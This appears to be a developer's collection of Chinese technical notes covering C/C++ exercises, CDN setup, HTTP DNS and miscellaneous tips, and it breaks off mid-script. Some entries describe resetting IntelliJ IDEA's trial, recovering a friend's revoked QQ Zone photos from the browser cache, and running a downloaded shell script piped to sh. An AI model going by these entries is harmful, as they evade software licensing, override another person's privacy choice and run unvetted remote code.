这个题目我使用了C++来写,果然比C好多了。。。只要想好接口就能很方便地实现需要的功能啦(不过还是Python内置的list好多了,C++的vector各种const的坑 这里分享一下我设计的接口: ``` class Node{ public: Node(); void setChildNum(int num); //为子节点的指针的数组分配空间 void addOneChild(Node* child); void setData(int data); int getData(); void setParent(Node* parent); Node* getParent(); Node* getCurrentChild(); //获得当前还没走过的子节点,并且把返回的子节点标记为走过了 bool hasChildToGo(); //这个节点是不是所有的子节点都完成了 bool isLeafNode(); //这个节点是不是叶节点 private: //...省略咯... }; class Nodes{ //存储路径的Nodes public: void append(Node* x); //把节点加入路径 void pop(); //删掉最后加入的那个节点 int getSumData(); //路径上所有节点的data的和 int length(); //路径当前的长度 friend bool cmp(const Nodes& a,const Nodes&b); //用于对路径进行排序 friend ostream& operator<<(ostream& out,Nodes& x); private: vector data; }; ``` ## 对一个const的vector使用迭代器要用const_iterator 有时候函数参数就规定了必须是const的,如sort的比较函数,而比较的对象又是vector 方法就是用`vector<你的类型>::const_iterator` ---- ### 小心未初始化的变量 写代码的时候最好声明的时候就立刻初始化,未初始化的变量是未定义行为,可能出现加了个printf就好了,去掉printf就炸了的情况。 你可以在Linux上使用`gcc -fsanitize=undefined`编译,让Undefined Sanitizer为你找出错误;顺带一提,ASAN也很有用,[参见](https://www.freebuf.com/news/83811.html) ---- ## 获取文件大小 Python里很简单 你可以os.path.getsize(filename) 这个本质上调用的是os.stat;下面的方法是打开文件,用fseek跳转到文件结束 Learned from: http://blog.csdn.net/chenglibin1988/article/details/8750480 ``` long int get_file_size(char* filename){ /* * 使用fseek和ftell获取文件大小,失败时返回-1 */ int filesize; FILE* fp = fopen(filename,"rb"); if( NULL == fp ) return -1; fseek(fp,0,SEEK_END); filesize = ftell(fp); fclose(fp); return filesize; } ``` ---- ## C程习题解答 学习一下各种坑爹的题目也是很不错的嘛(其实我就是为了把我的解析发上来。。。 ### 1.结构指针 #### 题目 ``` 对于以下结构定义,p->str++中的++加在____。 struct {int len; char *str}*p; A.指针str上 B.指针p上 C.str指向的内容上 D.语法错误 ``` #### 答案 D #### 一句话解释 你再仔细看看?是不是少了个分号? #### 详细解释 这个题目这么写编译存在语法问题的,而且运行也会炸 你试试复制到Dev C++编译看看? ``` [Error] expected ';' at end of member declaration ``` 这个错误很显然的嘛,缺少了分号,正确写法: ``` struct {int len; char *str;} *p; ``` #### 这就够了吗? p是一个指针,对指针使用->运算符之前必须要给指针一个空间(正确的值),否则就会导致*null而段错误炸掉 另外 这个struct没有名字,也就意味着无法给他赋值,不能被赋值的指针有什么用呢? 正确的写法如下: ``` #include #include #include int main(){ char string[666]="abcd"; //准备一个字符串 struct name {int len; char *str;} s;//首先要给struct取一个名字name,顺带用这个名字创建一个实例s s.str = string; //对这个实例的str赋值为string的地址 struct name *p = &s; //然后是用struct name来创建一个指向结构的指针p p->str++;//相当于s的str++了,str原来指向"abcd"字符串的'a',现在指向'b' puts(p->str);//输出bcd } ``` #### 回顾一下 1. struct必须要有一个名字 2. struct大括号中的每一项都必须**以分号结尾** 3. 使用指针取值 如`*p` , `p->something`之前指针的值必须设置好 4. 遇到不会的题目,为啥不自己问问编译器呢? ---- ### 2.结构数组 #### 题目 ``` 对于以下的变量定义,表达式____是正确的。 struct node { char s[10]; int k; } p[4]; A. p->k=2 B. p[0].s="abc"; C. p[0]->k=2; D. p->s='a'; ``` #### 答案 A #### 解析 `p[0].num` 与 `(*(p+0)).num` 等价, 所以 `p[0].num` 与 `(p+0)->num` 等价 编译一下确实A是可以的 B选项错在结构体里面的s是一个有内存空间的char数组,**不能把有内存空间的数组名称放到赋值的等号左边** (编译器把数组名称当成常量,编译器这么设计的原因也许是:不然这个内存空间不就弄丢了嘛) 字符串正确的"赋值"操作是: ``` strcpy(p[0].s,"abc"); ``` C选项 p[0]是结构,而不是指针,直接写`p[0].k=2` D选项 还是相同的道理 **不能把有内存空间的数组名称放到赋值的等号左边** 正确的写法 `p->s[0]='a'`, 也可以写 `p[0].s[0]='a'` #### 指针,数组各种玩法 如果要写`p[1].s[2]='a'`, 等价的写法有: ``` (p+1)->s[2]='a'; *((p+1)->s + 2)='a'; *((char*)p+1*sizeof(struct node)+2)='a'; ``` 此代码供你测试: ``` #include int main(){ struct node{ char s[10]; int k; } p[4]; p[1].s[2]='a'; printf("%c\n",p[1].s[2]); (p+1)->s[2]='b'; printf("%c\n",p[1].s[2]); *((p+1)->s + 2)='c'; printf("%c\n",p[1].s[2]); *((char*)p+1*sizeof(struct node)+2)='d'; printf("%c",p[1].s[2]); return 0; } ``` ### 数组的数组 题目: ``` 以下程序的输出结果是_________________。 #include #include typedef char (*AP)[5]; AP defy(char *p) { int i; for(i=0; i<3; i++) p[strlen(p)] = 'A'; return (AP)p + 1; } void main() { char a[]="FROG\0SEAL\0LION\0LAMB"; puts( defy(a)[1]+2 ); } ``` 解答: 搞清楚指针的类型这个题目就很简单了,另外记住这个公式: ``` x[i] = *(x+i) ``` p[strlen(p)] = 'A'; 就是把\0的地方改成了字符A 所以我们的a是这样子的: 从一维数组来看a是 FROGASEALALIONALAMB 从5字节char的数组的数组来看是 ``` "FROGA", //虽然这里写的是字符串,但末尾没有\0 "SEALA", "LIONA", "LAMB\0" ``` defy(a)[1]就等价于`*(defy(a) +1)`,就是`*( ((AP)a)+1 +1)`,就是((AP)a)[2] AP这个类型是指针,指向的元素是 5字节大小的数组, 所以((AP)a)[2]的类型是`char*`,指向的是"LIONA"这个元素 但是当我们把这个元素当成`char*`用puts输出的时候,由于末尾没有`\0`,所以要继续输出,就是"LIONALAMB" 再+2就是要跳过两个字节,得到答案"ONALAMB" 举一反三: 1. puts(((AP)a)[0])输出啥?假设没有调用defy(a) 2. puts(((AP)a)[0])输出啥?假设已经做了defy(a) 3. puts(((AP)a)[0]+3)输出啥?假设已经做了defy(a) 4. defy(a)[2][1]+1是什么类型?值是多少? 5. puts(&defy(a)[2][1])输出啥? 6. defy(a)之后再puts(&defy(a)[2][1])输出啥? 答案: 1. FROG 2. FROGASEALALIONALAMB 3. GASEALALIONALAMB 4. char类型 'B' 这个是char的'A'再加一 5. AMB 6. 发生了数组越界读写,这是undefined behaviour ================================================ FILE: CDN.md ================================================ # CDN ## UPYUN ### 上传文件的方法 #### FTP 人家支持用ftp传输文件,而且用ftp似乎不对流量计费 ftp://v0.ftp.upyun.com 用户名是"操作员名/服务名"(其中/字符是用户名的一部分),密码为"操作员密码" 有些时候你需要对其中的/进行urlencode,需要用`%2F` (你可以使用Python的`quote("/", "")`来查询) #### curlftpfs 基于上述的ftp,在这种情境下可靠性不高,不建议使用 http://curlftpfs.sourceforge.net/ 注意命令中的 ftp://用户名:密码@v0.ftp.upyun.com 其中的用户名的/符号需要改为%2f #### UpyunManager https://github.com/layerssss/manager-for-upyun ### UPYUN Python执行缓存刷新 比如本blog设置了缓存所有html一年来减少回源github的次数,在每次我更新后就刷新一次缓存 规则刷新: [https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun](https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun) URL刷新也是同理: 官方文档:http://docs.upyun.com/api/purge/ [我的代码upyun_purge.py](code/upyun_purge.py) 注意操作员要被授权;调用API正常的返回值就是`{'invalid_domain_of_url': {}}`,不要看到invalid就以为出错了hhh ### 使用upyun提供的webp功能节省流量 现在已经有配置,启用后自动根据用户的浏览器Accept自动返回webp,无需任何操作 之前的方案:无需代码,只需要在原图后面加上`!/format/webp`即可,假设已经在使用自定义图片格式,例如`!compress`则变为`!compress/format/webp`可以进一步节省流量 官方说明: https://www.upyun.com/webp.html ### 使用边缘规则修复改版导致的404问题 本站原版使用的Jekyll将xxx.md编译为xxx.html,现在改用MkDocs后xxx.md编译得到的是xxx/index.html,原先的链接就404了 又拍云能配置边缘规则 进行URL改写,用户在访问xxx.html的时候实际回源xxx/ 而且配置挺简单,只要会写正则即可 配置规则如下: ``` 条件判断: 如果请求URI 正则匹配 ^/[^/]*html$ 功能选择: URL改写 URI 字符串提取: ^/([^/]*).html$ 改写规则:/$1/ break: 打勾 ``` ### UPYUN 使用边缘规则实现upyun TOKEN反盗链功能 想只对特定url使用token反盗链,于是就使用边缘规则来实现一下完全兼容反盗链的算法咯 发现一个坑:又拍云的边缘规则的`$SUB`函数 其from和to是从1开始计数的,包括from,也包括to URI 字符串提取不填,break不选,规则编辑器填以下内容 ``` $WHEN($MATCH($_URI, '这里填URI匹配正则'),$OR($GT($_TIME, $SUB($_GET__upt, 9,99)),$NOT($_GET__upt), $NOT($EQ($SUB($MD5('这里填TOKEN''&'$SUB($_GET__upt, 9,99)'&'$_URI),13,20),$SUB($_GET__upt, 1,8)))))$EXIT(403) ``` ### UPYUN https证书更新 使用F12开发人员工具看的接口,用Python实现了一下,从手动一个个添加证书中解放出来 https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun/ ---- ### UPYUN 表单上传怎么用 在功能配置-存储管理页面可以看到文件密钥,[官方帮助文档](https://help.upyun.com/knowledge-base/form_api/#old-authorization)过于分散,这里整理一下必须的步骤 需求:简单的允许上传一个固定文件名的文件,不要过期 首先写一个上传策略policy,然后对它base64,和密钥用&拼接后计算md5 这个脚本将输出变量定义和curl命令,便于复制使用 ```bash key='AAA...AAA' bucket='demobucket' filename='img.jpg' filepath="/${filename}" policy='{"bucket":"'${bucket}'","expiration":9999999999,"save-key":"'${filepath}'"}' b64_policy=`echo -n $policy|base64 -w0` echo UPYUN_POLICY=${b64_policy} echo UPYUN_SIGN=$(echo -n "${b64_policy}&${key}"|md5sum|awk '{print $1}') echo "curl https://v0.api.upyun.com/${bucket} -F file=@${filename} -F policy=\${UPYUN_POLICY} -F signature=\${UPYUN_SIGN}" ``` 我也提供了一个脚本便于你快速调用: ``` curl -O d.py3.io/up.sh sh up.sh key bucket filename # 触发上传只要继续丢给sh就行 sh up.sh key bucket filename|sh ``` ------- ### UPYUN省钱方案:缓存61秒 变为静态请求 虽然人家 [计费说明](https://www.upyun.com/price_instruction) 写的是 > 动态请求是指回用户源站并且缓存时间小于 60 秒或者指定不缓存的请求。 但从实际的访问日志来看,缓存60秒是不够的,必须缓存61秒才当成静态请求 需要进行的代码变动: 子域名+直接解析到源站+跨域请求+一个获取cookie的路由 注意到我们把网页本身都缓存了,所以 **网页源代码本身不能有用户相关的内容** 用户登录状态可以存在cookie里 指定domain的方式让子域名也能获取 缓存61秒,一般用户还是能触发MISS,产生一次回源设置好cookie 但如果用户访问的全部是缓存页面,前端代码需要先判断cookie是否存在,不存在就需要发起getsession请求来获取cookie再进行跨域请求 这种跨域需要带上Cookie所以是withCredential的 前端js: ``` function queryme(){ $.ajax({ url:"https://subdomain.www.example.com/uri", success:function(data){ //... }, xhrFields:{withCredentials:true} }) } (function(){ if(document.cookie.indexOf("user=")>=0){ queryme(); }else{ $.get("/getsession",null,queryme); } })(); ``` 后端Nginx: ``` add_header 'Access-Control-Allow-Origin' 'https://www.example.com'; add_header 'Access-Control-Allow-Credentials' 'true'; ``` ## Qiniu ### 使用qshell上传文件夹 qshell qupload [] 需要写一个config文件,具体参见官方文档 [https://developer.qiniu.com/kodo/tools/1302/qshell](https://developer.qiniu.com/kodo/tools/1302/qshell) [https://github.com/qiniu/qshell/wiki/qupload](https://github.com/qiniu/qshell/wiki/qupload) ## 本地DNS不靠谱?用HTTP DNS访问正确的CDN节点 情形:用户的DNS不靠谱,不遵循CDN DNS的TTL设置,导致用户得到的节点IP已经过期失效,导致网站上的图片无法加载 解决方案:使用[阿里云的HTTP DNS](https://help.aliyun.com/document_detail/30102.html) (支持HTTPS请求),网页端访问图片时如果出错替换为**指定IP的CDN节点** ### HTTP DNS接入 按照文档操作即可: https://help.aliyun.com/document_detail/30113.html 注意到目前`https://203.107.1.33`会证书错误,改用`https://203.107.1.1`即可 这个接口支持跨域请求: ``` $.get("https://203.107.1.1/100000/d?host=www.aliyun.com",null,function(data){ var ip = data.ips[0]; console.log(ip); }); ``` ### 泛域名解析 参考 [sslip.io](https://sslip.io) 假设我们有已经备案的域名`example.com`,使用`xip.example.com`作为泛域名解析的域名,也就是说`140-205-34-3.xip.example.com`就会解析到`140.205.34.3` 只需要设置4条NS记录即可: ``` ns-aws.nono.io ns-gce.nono.io ns-azure.nono.io ns-vultr.nono.io ``` ### 申请泛域名的https证书 参见: https://py3.io/Nginx/#acmesh ### 配置CDN 将泛域名绑定到CDN服务上,并提供申请到的HTTPS证书,开启HTTPS访问 ### 前端JS 下述代码出错时将把图片src的`www.aliyun.com`替换为`1-2-3-4.xip.example.com`,特点: - 只要一张CDN的图片已经出错就会开始替换所有坏图 - 不会替换已经成功加载的图片 - 使用localStorage缓存HTTP DNS的查询结果 缓存一周 - 存储了DNS的TTL结果,如果TTL已经过期就再次查询(所以上面缓存一周其实没用,TTL一般就10分钟) 参考: - https://stackoverflow.com/questions/736513/how-do-i-parse-a-url-into-hostname-and-path-in-javascript - https://stackoverflow.com/questions/92720/jquery-javascript-to-replace-broken-images 依赖lscache: https://github.com/pamelafox/lscache ``` var cdnupdating = false; function updatecdn(cb){ if(cdnupdating) return; cdnupdating = true; $.get("https://203.107.1.1/100000/d?host=www.aliyun.com",null,function(data){ var ip = data.ips[0]; var domain = ip.replace(/\./g, "-")+".xip.example.com"; var ddl=new Date()/1000 + data.ttl; var cdn = {domain:domain, ddl:ddl}; lscache.set('cdn', cdn, 604800); if(cb) cb(cdn); }); } function fixbrokenimages(cdn){ if(!cdn) cdn=lscache.get("cdn"); if(!cdn || cdn.ddl < +new Date()/1000) return updatecdn(fixbrokenimages); $('img[src*="www.aliyun.com"]').each(function() { if (!this.complete || typeof this.naturalWidth == "undefined" || this.naturalWidth == 0) { this.src = this.src.replace("www.aliyun.com", cdn.domain); } }); } var fixbrokenimages_timer = null; function image_onerror(){ //console.log("image_onerror",this.src); if(/.*www.aliyun.com.*/.test(this.src)){ fixbrokenimages(); } if(!fixbrokenimages_timer){ fixbrokenimages_timer = setInterval(fixbrokenimages , 1000); } } $('img[src*="www.aliyun.com"]').on('error', image_onerror); ``` ================================================ FILE: CNAME ================================================ py3.io note.py3.io ================================================ FILE: Developer.md ================================================ ## 保持技术精进 先得有方向,我用这个技术能给我带来什么回报?找到内在动力 1. 读书,学习视频课程 2. 去阅读源码,大的开源项目有新的技术、巧妙的设计、优良的架构,对自己写代码、架构的能力都有非常大的提升 3. 在项目中使用自己想用的技术,解决现实问题 4. 加入开源项目,和牛人一起工作,向牛人看齐 5. 加入高手的社群,与优秀的人在一起 ---- ## 如何明智地向程序员提问 From: https://z.codes/how-to-ask-computer-question/ ### 简短版 我现在遇到一个问题X 我想到可能的原因是a, b, c 我排除了以下可能性d, e, f 我尝试过以下方案g, h, i 请问还有什么是我遗漏的? ### 首先你需要明白 * 程序员们只偏爱艰巨的任务,或者能激发他们思维的好问题 * 对方没有义务忍耐你的无知和懒惰 * 周全的思考,准备好你的问题,草率的发问只能得到草率的回答,或者根本得不到任何答案 ### 提问之前 * 用中**英文**进行**Google**, 翻前两页的结果, 往往Stack Overflow网站上的答案就是正确答案. 如果没有找到, **更换可能的关键词多次尝试** * 在FAQ/文档里找答案, 耐心读英文文档是基本素养 ### 发问的形式
  • 使用言简意赅,描述准确的标题

  • 精确描述, 信息量大, 但是不啰嗦

    • 尽可能详细而明确的描述症状

    • 提供问题发生的环境(机器配置、操作系统、应用程序以及别的什么)

    • 说明你在提问前是怎样去研究和理解这个问题的

    • 说明你在提问前采取了什么步骤去解决它

    • 在自己的尝试中, 排除了哪些可能的原因

    • 罗列最近做过什么可能有影响的硬件、软件变更

    • 尽量想象一个程序员会怎样反问你,在提问的时候预先给他答案

  • 对每一个关键步骤截图, 如果有错误信息, **截图和文字版**连同产生问题的**代码**都要发给对方

  • 给出自己出问题的代码, 必须是对方复制后就能立即运行, 并且复现问题的最简代码. 删去与问题无关的部分

  • 别问应该自己解决的问题, 避免无意义的疑问

### 问题解决后 * 简短说明自己是如何解决的, 后续尝试的过程 * 如果别人对你有帮助, 感谢一下对方, 比如发个红包什么的 ### 附加 ![](assets/img/how_to_ask_question.jpg) ### 参考 电脑出现故障,如何正确地提问 [https://vjudge1.github.io/2015/07/01/how-to-ask.html](https://vjudge1.github.io/2015/07/01/how-to-ask.html) 你会问问题吗 [http://coolshell.cn/articles/3713.html](http://coolshell.cn/articles/3713.html) 《提问的艺术:如何快速获得答案》(精读版) [http://bbs.csdn.net/topics/390307835](http://bbs.csdn.net/topics/390307835) ### 本文的图片版 (方便在聊天工具里甩给对方): ![如何明智地向程序员提问](assets/img/how-to-ask-computer-question.png) ---- ## 使用chrome缓存找到被删的qq空间的图片 看到有好友秀恩爱,然后就没有权限访问了,但打开过的图片有chrome缓存,于是便尝试从缓存找到图片url chrome的缓存可以在这里找到: ``` chrome://cache/ ``` 然后随意点开一张qq空间的图片,发现其包含psb(毕竟右键保存的文件名默认就是psb),然后就是搜索咯 在点进去的缓存页面可以F12执行js,查看缓存图片: 代码来源:http://www.sensefulsolutions.com/2012/01/viewing-chrome-cache-easy-way.html ``` (function() { var preTags = document.getElementsByTagName('pre'); var preWithHeaderInfo = preTags[0]; var preWithContent = preTags[2]; var lines = preWithContent.textContent.split('\n'); // get data about the formatting (changes between different versions of chrome) var rgx = /^(0{8}:\s+)([0-9a-f]{2}\s+)[0-9a-f]{2}/m; var match = rgx.exec(lines[0]); var text = ''; for (var i = 0; i < lines.length; i++) { var line = lines[i]; var firstIndex = match[1].length; // first index of the chars to match (e.g. where a '84' would start) var indexJump = match[2].length; // how much space is between each set of numbers var totalCharsPerLine = 16; index = firstIndex; for (var j = 0; j < totalCharsPerLine; j++) { var hexValAsStr = line.substr(index, 2); if (hexValAsStr == ' ') { // no more chars break; } var asciiVal = parseInt(hexValAsStr, 16); text += String.fromCharCode(asciiVal); index += indexJump; } } var headerText = preWithHeaderInfo.textContent; var elToInsertBefore = document.body.childNodes[0]; var insertedDiv = document.createElement("div"); document.body.insertBefore(insertedDiv, elToInsertBefore); // find the filename var nodes = [document.body]; var filepath = ''; while (true) { var node = nodes.pop(); if (node.hasChildNodes()) { var children = node.childNodes; for (var i = children.length - 1; i >= 0; i--) { nodes.push(children[i]); } } if (node.nodeType === Node.TEXT_NODE && /\S/.test(node.nodeValue)) { // 1st depth-first text node (with non-whitespace chars) found filepath = node.nodeValue; break; } } outputResults(insertedDiv, convertToBase64(text), filepath, headerText); insertedDiv.appendChild(document.createElement('hr')); function outputResults(parentElement, fileContents, fileUrl, headerText) { // last updated 1/27/12 var rgx = /.+\/([^\/]+)/; var filename = rgx.exec(fileUrl)[1]; // get the content type rgx = /content-type: (.+)/i; var match = rgx.exec(headerText); var contentTypeFound = match != null; var contentType = "text/plain"; if (contentTypeFound) { contentType = match[1]; } var dataUri = "data:" + contentType + ";base64," + fileContents; // check for gzipped file var gZipRgx = /content-encoding: gzip/i; if (gZipRgx.test(headerText)) { filename += '.gz'; } // check for image var imageRgx = /image/i; var isImage = imageRgx.test(contentType); // create link var aTag = document.createElement('a'); aTag.textContent = "Left-click to download the cached file"; aTag.setAttribute('href', dataUri); aTag.setAttribute('download', filename); parentElement.appendChild(aTag); parentElement.appendChild(document.createElement('br')); // create image if (isImage) { var imgTag = document.createElement('img'); imgTag.setAttribute("src", dataUri); parentElement.appendChild(imgTag); parentElement.appendChild(document.createElement('br')); } // create warning if (!contentTypeFound) { var pTag = document.createElement('p'); pTag.textContent = "WARNING: the type of file was not found in the headers... defaulting to text file."; parentElement.appendChild(pTag); } } function getBase64Char(base64Value) { if (base64Value < 0) { throw "Invalid number: " + base64Value; } else if (base64Value <= 25) { // A-Z return String.fromCharCode(base64Value + "A".charCodeAt(0)); } else if (base64Value <= 51) { // a-z base64Value -= 26; // a return String.fromCharCode(base64Value + "a".charCodeAt(0)); } else if (base64Value <= 61) { // 0-9 base64Value -= 52; // 0 return String.fromCharCode(base64Value + "0".charCodeAt(0)); } else if (base64Value <= 62) { return '+'; } else if (base64Value <= 63) { return '/'; } else { throw "Invalid number: " + base64Value; } } function convertToBase64(input) { // http://en.wikipedia.org/wiki/Base64#Example var remainingBits; var result = ""; var additionalCharsNeeded = 0; var charIndex = -1; var charAsciiValue; var advanceToNextChar = function() { charIndex++; charAsciiValue = input.charCodeAt(charIndex); return charIndex < input.length; }; while (true) { var base64Char; // handle 1st char if (!advanceToNextChar()) break; base64Char = charAsciiValue >>> 2; remainingBits = charAsciiValue & 3; // 0000 0011 result += getBase64Char(base64Char); // 1st char additionalCharsNeeded = 3; // handle 2nd char if (!advanceToNextChar()) break; base64Char = (remainingBits << 4) | (charAsciiValue >>> 4); remainingBits = charAsciiValue & 15; // 0000 1111 result += getBase64Char(base64Char); // 2nd char additionalCharsNeeded = 2; // handle 3rd char if (!advanceToNextChar()) break; base64Char = (remainingBits << 2) | (charAsciiValue >>> 6); result += getBase64Char(base64Char); // 3rd char remainingBits = charAsciiValue & 63; // 0011 1111 result += getBase64Char(remainingBits); // 4th char additionalCharsNeeded = 0; } // there may be an additional 2-3 chars that need to be added if (additionalCharsNeeded == 2) { remainingBits = remainingBits << 2; // 4 extra bits result += getBase64Char(remainingBits) + "="; } else if (additionalCharsNeeded == 3) { remainingBits = remainingBits << 4; // 2 extra bits result += getBase64Char(remainingBits) + "=="; } else if (additionalCharsNeeded != 0) { throw "Unhandled number of additional chars needed: " + additionalCharsNeeded; } return result; } })() ``` 例如找到http://a3.qpic.cn/psb?/V12C1bLj2DcCgb/f9hTWn5wbxt3dZd5MlUCHX6tA9oqVOudgT2rqARLltk!/a/dI4BAAAAAAAA 但这样只是一张小图,我们当然希望有大图,比对大图的url发现只要将上述url的/a/替换为/b/即可 所以总结一下就是打开缓存页面chrome://cache/,查找psb字符串,找到想要的图片,如果是小图就改一下url得到大图 ------ ## 为什么我喜欢写博客? 摘自 https://manishearth.github.io/blog/2018/08/26/why-i-enjoy-blogging/ 写下来的过程发现自己还有不懂的,给自己讲清楚甚至能发现rust标准库的bug,本质上是给很多人讲需要考虑所有方面而不是最小必要;当你觉得显而易见的时候很容易失去解释清楚的能力 读旧的文章很有趣 让自己回到写作的那一时刻 比较当时自己的理解和现在的 体会自己的进步,重新学习已经忘了的 写作能换个脑子 在不同工作之前切换 使用不同的脑区 整天都有精力 写blog能偷懒 以后有人问到就能直接给链接说“你想知道更多的话 我已经在这写过了” 别人写过了还要不要写?要写! 你的理解不同,散落在不同地方的知识综合起来也有价值 你真正的职责是当你有空free了,你应该让其他人也轻松free,如果你有能力power,你的职责就是为其他人赋能empower 自学不意味着当一个编译器的fuzzer随机尝试,而是学文档tutorial,从书籍学算法——自学只是说你完全掌控自己的学习过程,但仍然依赖其他人的工作 你也应该写博客 这里有一些建议https://jvns.ca/blog/2016/05/22/how-do-you-write-blog-posts/ ----- ## 支持被at的(outgoing)钉钉机器人 需要自己注册一个企业,管理员才能创建这种机器人,机器人只能在内部群使用 文档: https://ding-doc.dingtalk.com/doc#/serverapi2/elzz1p 其中缺失了关于atDingtalkIds的描述,需要看这个: https://juejin.im/post/6844903922029576205 需要注意的地方有:修改服务器回调通知地址和修改上线的时候,钉钉就会验证服务器是否正常,你可以`while true; nc -lp 8888 < tmp.txt; done` 死循环提供个正常的http服务 POST发来的数据里面有临时的url可以发消息,还有senderId是发送者id用来在atDingtalkIds中使用 收到的POST内容: ``` {"conversationId":"cidoAgtPbnu9MyulIyt0kpNYg==","atUsers":[{"dingtalkId":"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW"}],"chatbotCorpId":"dingb1d0b0ca51cxxxxxx","chatbotUserId":"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW","msgId":"msgWjYj1k8LPNOBBy+jxNKwQw==","senderNick":"发送者姓名","isAdmin":false,"senderStaffId":"2665036700000000","sessionWebhookExpiredTime":1600622026555,"createAt":1600616626487,"senderCorpId":"dingb1d0b0ca51c029b24ac5d6980000000","conversationType":"2","senderId":"$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV","conversationTitle":"群组标题","isInAtList":true,"sessionWebhook":"https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386","text":{"content":" 1+1"},"msgtype":"text"} ``` 回复发送者一个666: ``` curl https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386 -H "Content-Type: application/json" --data '{"msgtype":"text", "text":{"content":"666"}, "at":{"atDingtalkIds":["$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV"]}}' ``` ----- ## Go语言 ### 安装 ``` wget -q https://golang.org/dl/go1.15.3.linux-amd64.tar.gz &&\ tar -C /usr/local -xzf go1.15.3.linux-amd64.tar.gz export PATH=$PATH:/usr/local/go/bin ``` ### 提取build失败缺失的库安装 ``` go build |& grep cannot |cut -d'"' -f2|xargs go get ``` ---- ## IDEA2020.2 30天后重新试用 参考: http://scz.617.cn:8/windows/202010261152.txt regedit找到HKCU\SOFTWARE\JavaSoft\Prefs\jetbrains\idea,其中会有目录包含evlsprt3\202,删掉这个目录里面的evlsprt和evlsprt2 然后删除这些目录: ``` rd /s /q "%APPDATA%\JetBrains\IntelliJIdea2020.2\eval" del "%APPDATA%\JetBrains\PermanentDeviceId" del "%APPDATA%\JetBrains\PermanentUserId" del "%APPDATA%\JetBrains\bl" del "%APPDATA%\JetBrains\crl" ``` 编辑"%APPDATA%\JetBrains\IntelliJIdea2020.2\options\other.xml" 删除包含evlsprt.202或evlsprt2.202的行 ---- ## 树莓派到手后配置 一款新的树莓派4到手,默认为英国键盘布局不能输入@#符号,显示分辨率不够1080p,以及有线网络和无线网络优先级需要调整 ### 修改键盘布局 查到有教程说`sudo raspi-config`里可以修改键盘布局,实测发现改了之后只敲了一次@之后又被改回去了,还是得修改输入法: 参考 https://jingyan.baidu.com/article/3aed632e29dfd87011809169.html ``` sudo apt install fcitx reboot ``` 右上角有输入法图标 管理键盘 删掉英国 加上英语(美国)即可 ### 显示分辨率修改 参考 https://www.ncnynl.com/archives/201607/226.html 树莓派有两种hdmi输出模式,1是CEA电视,2是DMT电脑显示器 查看当前显示器支持的分辨率们: ``` tvservice -m CEA tvservice -m DMT ``` 实际上显示出来的并不一定完整,还需要自己多测试:例如设置为 640x480 60Hz ``` tvservice -e "DMT 4" ``` 建议在终端里先敲这个命令 当显示不出来的时候可以按↑回车改回一个正常显示,不至于重启 完整的列表在上述参考链接中有了,可以自己多试试,切换分辨率后记得移动鼠标 不然不会显示 但是我希望的分辨率 1920x1080 60Hz不在DMT列表中,这就需要自定义分辨率了 修改`/boot/config.txt`,添加: ``` hdmi_cvt=1920 1080 60 3 hdmi_group=2 hdmi_mode=87 hdmi_drive=2 ``` 其中hdmi_cvt的解释: https://www.raspberrypi.org/documentation/configuration/config-txt/video.md 其中最后一个3是sdtv_aspect 长宽比 我这里是16:9 所以填了3 修改后重启即可,似乎目前树莓派也学聪明了,即使config.txt里配置了错误的值显示不出来,也会自动回退到720p保证显示 ### 调整无线网络和有线网络的优先级 我希望外网访问(default路由)走wifi,内网访问(10.0.0.0/8)走有线,但默认联网后有线也会占据default路由而且优先级比无线高(跃点数小) 两个网络都是使用dhcp获取IP,所以可以在dhcp的配置文件里配置metric 参考: https://raspberrypi.stackexchange.com/a/50951 编辑`/etc/dhcpcd.conf` ``` interface wlan0 metric 200 interface eth0 metric 300 ``` 然后编辑dhcp的hook自动执行route命令: 参考 https://wiki.archlinux.org/index.php/dhcpcd#DHCP_static_route.28s.29 编辑`/etc/dhcpcd.exit-hook` ``` route add -net 10.0.0.0/8 gw <网关ip> dev eth0 ``` ---- ## 修改Electron应用 想让这个Electron应用浏览器打开自定义的页面,但人家没提供F12(虽然最后发现也没啥用Orz 参考: [吾爱破解-Electron跨平台程序破解的一般思路](https://www.52pojie.cn/thread-563895-1-1.html) ``` npm install asar -g # 在resources目录可以找到app.asar,这样解包: asar e app.asar tmp # 修改后重新打包: asar p tmp/ app.asar ``` 具体的修改挺简单,找到入口的electron.js 注释掉new BrowserWindow的titleBarStyle: 'hidden', removeMenu() 修改.loadURL(url) ------ ## Cloudflare免费账户 获取访问日志 原始日志只对付费的企业版开放,难道我们就没有方法获取访问日志来分析流量嘛? 看到防火墙的拦截日志,又发现“绕过”这个action也会记录日志,那我们就可以创建一个绕过本身就没有启用的防护,就能记录所有流量了。但注意这个防火墙日志是抽样记录的。 看F12 Network发现人家查询接口用的是GraphQL,然后发现需要通过introspection才能知道有哪些可用的字段 cloudflare的文档: https://developers.cloudflare.com/analytics/graphql-api/getting-started/querying-basics 实际的introspection请求:[https://stackoverflow.com/questions/34199982/how-to-query-all-the-graphql-type-fields-without-writing-a-long-query](https://stackoverflow.com/a/44289026) 查询限制:一次分页可以获取最大10000条记录,filter必须有内容,时间跨度一次不能超过24小时 ```python import requests from pprint import pprint from datetime import timezone,datetime,timedelta sess=requests.session() from config import headers def fetch(ts): res = [] end = ts.strftime("%Y-%m-%dT%H:%M:%SZ") start = (ts-timedelta(days=1)).strftime("%Y-%m-%dT%H:%M:%SZ") x=sess.post("https://api.cloudflare.com/client/v4/graphql", headers=headers, data= '{"operationName":"ActivityLogQuery","variables":{"zoneTag":"8a4335a74373cec7fd053241dc3e3f41","filter":{"datetime_geq":"'+start+'","datetime_leq":"'+end+'"},"limit":10000,"activityFilter":{"datetime_geq":"'+start+'","datetime_leq":"'+end+'"}},"query":"query ActivityLogQuery($zoneTag: string, $filter: FirewallEventsAdaptiveGroupsFilter_InputObject, $activityFilter: FirewallEventsAdaptiveFilter_InputObject, $limit: int64\\u0021) { viewer { zones(filter: {zoneTag: $zoneTag}) { total: firewallEventsAdaptiveByTimeGroups(limit: 1, 